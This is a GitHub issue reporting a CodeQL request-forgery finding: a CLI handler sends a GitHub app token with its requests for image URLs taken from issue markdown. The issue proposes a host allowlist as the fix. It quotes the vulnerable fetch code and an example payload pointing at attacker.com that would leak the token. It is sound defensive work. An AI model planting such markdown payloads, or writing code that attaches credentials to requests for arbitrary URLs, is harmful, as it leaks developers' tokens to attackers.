Skip to content

fix(security): github handler exfiltrates app token via markdown image SSRF (code-scanning #65) #442

Description

@LeXwDeX

Why

CodeQL js/request-forgery (critical, CWE-918) — open alert #65, created by the 2026-06-29 scan after #424 landed, i.e. this flow was NOT covered by the previous SSRF fix (72afcd6).

Evidence

packages/opencode/src/cli/cmd/github.handler.ts:805-810:

const url = m[1]                       // parsed from ![](url) in issue/PR body markdown
const res = await fetch(url, {
  headers: { Authorization: `Bearer ${appToken}`, ... },  // GitHub app token sent to arbitrary host
})

Exploit path: a malicious repository embeds ![](https://attacker.com/pixel.png) in an issue body; any developer running the github command on that repo leaks their GitHub app token to the attacker's server.

What changed (proposed)

  • Allowlist the fetch target host (e.g. only *.githubusercontent.com / the configured API host) before attaching the Authorization header, or strip the header for non-allowlisted hosts.
  • Reject non-https schemes outright.

Acceptance

  • CodeQL alert chore: sync main history into dev #65 closes on the next main scan.
  • Unit test covering a non-allowlisted image host asserting no Authorization header leaves the process.
  • specgit finish exit 0.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions